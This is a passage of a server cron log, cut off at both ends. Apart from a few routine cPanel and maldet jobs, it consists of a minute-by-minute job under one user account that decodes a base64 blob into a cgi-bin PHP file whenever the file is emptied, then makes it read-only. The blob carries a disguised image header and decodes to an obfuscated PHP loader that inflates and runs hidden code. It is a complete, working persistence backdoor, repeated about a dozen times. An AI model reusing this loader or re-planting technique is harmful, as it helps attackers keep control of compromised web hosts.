zUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:23:01 server CROND[10871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:24:01 server CROND[10934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:25:01 server CROND[10998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:25:01 server CROND[10999]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:25:01 server CROND[11000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:26:01 server CROND[11214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:27:01 server CROND[11296]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 13:27:01 server CROND[11297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:28:01 server CROND[11382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:29:01 server CROND[11452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:30:01 server CROND[11514]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 13:30:01 server CROND[11515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:30:01 server CROND[11516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:30:01 server CROND[11517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:31:01 server CROND[11728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:32:01 server CROND[11793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:33:01 server CROND[11865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:34:01 server CROND[11931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:35:01 server CROND[11998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 13:35:01 server CROND[11999]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 13:35:01 server CROND[12003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 13:35:01 server CROND[12005]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 13:35:01 server CROND[12004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 13:36:01 server CROND[12227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 